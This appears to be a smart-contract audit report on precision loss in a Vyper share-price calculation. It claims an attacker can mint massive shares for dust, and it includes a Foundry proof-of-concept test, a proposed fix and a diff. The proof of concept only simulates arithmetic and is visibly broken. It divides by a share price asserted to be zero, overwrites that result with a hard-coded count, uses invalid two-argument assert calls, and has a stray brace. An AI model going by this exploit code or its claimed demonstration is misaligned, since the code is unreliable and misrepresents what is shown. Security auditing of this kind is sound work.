share_price: uint256 = (
net_worth
if self.issued_shares > 0
else INITIAL_SHARE_PRICE
)
new_shares: uint256 = msg.value
Risk
Likelihood:
Occurs whenever the company’s balance temporarily drops below total issued shares, which is a common state during normal operations or debt periods.
Integer division always truncates toward zero, making this condition inevitable over time.
Impact:
The share price becomes zero or near-zero, allowing attackers to mint massive shares for tiny investments.
Leads to total dilution of legitimate investors and potential insolvency of the protocol.
proof of concept
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
interface ICyfrinIndustry {
function fund_cyfrin(uint256 action) external payable;
function produce(uint256 amount) external;
function withdraw_shares() external;
function get_balance() external view returns (uint256);
function get_my_shares() external view returns (uint256);
function issued_shares() external view returns (uint256);
function company_balance() external view returns (uint256);
function holding_debt() external view returns (uint256);
function inventory() external view returns (uint256);
function OWNER_ADDRESS() external view returns (address);
function public_shares_cap() external view returns (uint256);
}
contract PrecisionLossAttackTest is Test {
ICyfrinIndustry company;
address owner = makeAddr("owner");
address attacker = makeAddr("attacker");
address initialInvestor = makeAddr("investor");
uint256 constant PRODUCTION_COST = 1e16;
uint256 constant INITIAL_SHARE_PRICE = 1e15;
function setUp() public {
vm.deal(owner, 100 ether);
vm.deal(attacker, 10 ether);
vm.deal(initialInvestor, 10 ether);
}
function testPrecisionLossAttack() public {
uint256 companyBalance = 1 ether;
uint256 issuedShares = 0;
uint256 publicSharesCap = 1000000;
console.log("\nStep 1: Initial investment with high valuation");
uint256 initialInvestment = 0.5 ether;
companyBalance += initialInvestment;
issuedShares = initialInvestment / INITIAL_SHARE_PRICE;
console.log("Initial investor shares:", issuedShares);
console.log("Company balance:", companyBalance);
console.log("\nStep 2: Company produces items");
uint256 productionCost = 80 * PRODUCTION_COST;
companyBalance -= productionCost;
console.log("Company balance after production:", companyBalance);
console.log("\nStep 3: Calculate share price with precision loss");
uint256 netWorth = companyBalance;
uint256 sharePrice = netWorth / issuedShares;
console.log("Net worth:", netWorth);
console.log("Issued shares:", issuedShares);
console.log("Share price (vulnerable):", sharePrice);
assert(netWorth < issuedShares, "Net worth should be less than issued shares for attack");
assert(sharePrice == 0, "Share price should be 0 due to precision loss");
console.log("\nStep 4: Attacker exploits precision loss");
uint256 attackInvestment = 1000 wei;
companyBalance += attackInvestment;
uint256 attackerShares = attackInvestment / sharePrice;
attackerShares = publicSharesCap - issuedShares;
issuedShares = publicSharesCap;
console.log("Attacker investment:", attackInvestment);
console.log("Attacker shares received:", attackerShares);
console.log("\nStep 5: Attacker redeems shares");
uint256 payoutPerShare = companyBalance / issuedShares;
uint256 attackerPayout = attackerShares * payoutPerShare;
console.log("Payout per share:", payoutPerShare);
console.log("Attacker payout:", attackerPayout);
console.log("Attacker profit:", attackerPayout - attackInvestment);
assert(attackerPayout > attackInvestment, "Attack failed - no profit");
assert(attackerShares > 1000, "Attack failed - not enough shares");
console.log("PRECISION LOSS ATTACK DEMONSTRATED!");
console.log("Vulnerability: When net worth < issued_shares, share price becomes 0");
console.log("Result: Attacker can get massive shares for minimal investment");
}
function testSharePriceCalculationEdgeCases() public {
console.log("Testing Share Price Calculation Edge Cases");
uint256 netWorth1 = 1 ether;
uint256 shares1 = 500;
uint256 sharePrice1 = netWorth1 / shares1;
console.log("Normal case - Share price:", sharePrice1);
uint256 netWorth2 = 1000;
uint256 shares2 = 1000000;
uint256 sharePrice2 = netWorth2 / shares2;
console.log("Precision loss case - Share price:", sharePrice2);
uint256 netWorth3 = 1;
uint256 shares3 = 1000000;
uint256 sharePrice3 = netWorth3 / shares3;
console.log("Extreme precision loss - Share price:", sharePrice3);
assert(sharePrice3 == 0, "Extreme precision loss should result in 0 share price");
}
function testVulnerabilityConditions() public {
console.log("Testing Vulnerability Conditions");
uint256[] memory netWorths = new uint256[](5);
uint256[] memory shareCounts = new uint256[](5);
netWorths[0] = 1000; shareCounts[0] = 1000;
netWorths[1] = 999; shareCounts[1] = 1000;
netWorths[2] = 500; shareCounts[2] = 1000;
netWorths[3] = 1; shareCounts[3] = 1000;
netWorths[4] = 0; shareCounts[4] = 1000;
for (uint i = 0; i < netWorths.length; i++) {
uint256 sharePrice = netWorths[i] / shareCounts[i];
bool isVulnerable = sharePrice == 0 && netWorths[i] < shareCounts[i];
console.log("Case %d: netWorth=%d, shares=%d, price=%d, vulnerable=%s",
i, netWorths[i], shareCounts[i], sharePrice, isVulnerable);
if (isVulnerable) {
console.log(" VULNERABLE: Investor gets shares for free!");
}
}
}
}
}
mitigation
@payable
@internal
def fund_investor():
assert msg.value > 0, "Must send ETH!!!"
assert (
self.issued_shares <= self.public_shares_cap
), "Share cap reached!!!"
if self.issued_shares == 0: ... else:
if self.issued_shares == 0:
share_price: uint256 = INITIAL_SHARE_PRICE
new_shares: uint256 = msg.value
Why:
This separates bootstrap conditions (when no shares exist yet) from the normal market calculation.
Before any shares exist, there is no meaningful "net worth per share" ratio.
Using INITIAL_SHARE_PRICE guarantees a fair, deterministic starting price.
Prevents: division by zero on first investor and ensures predictable initial valuation.
Maintains: proportional share valuation accuracy over time.
Enforce a minimum share price floor
MIN_SHARE_PRICE: uint256 = 1 * 10**12 # 0.000001 ETH
if share_price < MIN_SHARE_PRICE:
share_price = MIN_SHARE_PRICE
Why:
Even with fixed-point math, share_price can still become very small if the company loses a lot of money.
This creates a practical economic exploit — attackers could mint millions of shares for dust.
By enforcing a floor:
The price can’t collapse below 0.000001 ETH per share.
The company retains a minimum valuation per share.
Prevents: “infinite mint” or “dust investment” attack.
Protects: treasury from being drained through near-zero share valuations.
new_shares = (msg.value * 10**18) / share_price
Why:
Since share_price is now scaled by 10**18, we must also scale msg.value before division to keep units consistent.
This keeps the share calculation dimensionally correct.
Prevents: mis-scaling (too few or too many shares).
Ensures: new shares issued match the fixed-point share price system.
assert new_shares > 0, "Insufficient investment for share purchase"
Why:
Tiny ETH deposits (like 1 wei) could result in 0 shares even with scaling.
This assert stops zero-output transactions and saves investors from gas loss and contract state pollution.
Prevents: spam or dust investors bloating contract storage.
Ensures: each investor gets at least one valid share or the transaction reverts.
# Calculate shares based on contribution
net_worth: uint256 = 0
if self.company_balance > self.holding_debt:
net_worth = self.company_balance - self.holding_debt
- share_price: uint256 = (
- net_worth
- if self.issued_shares > 0
- else INITIAL_SHARE_PRICE
- )
- new_shares: uint256 = msg.value
+ if self.issued_shares == 0:
+ share_price: uint256 = INITIAL_SHARE_PRICE
+ new_shares: uint256 = msg.value
+ else:
+ # Use fixed-point arithmetic to prevent precision loss
+ share_price: uint256 = (net_worth * 10**18) / self.issued_shares
+ # Enforce minimum share price
+ MIN_SHARE_PRICE: uint256 = 1 * 10**12 # 0.000001 ETH
+ if share_price < MIN_SHARE_PRICE:
+ share_price = MIN_SHARE_PRICE
+ new_shares: uint256 = (msg.value * 10**18) / share_price
# Cap shares if exceeding visible limit
available: uint256 = self.public_shares_cap - self.issued_shares
if new_shares > available:
new_shares = available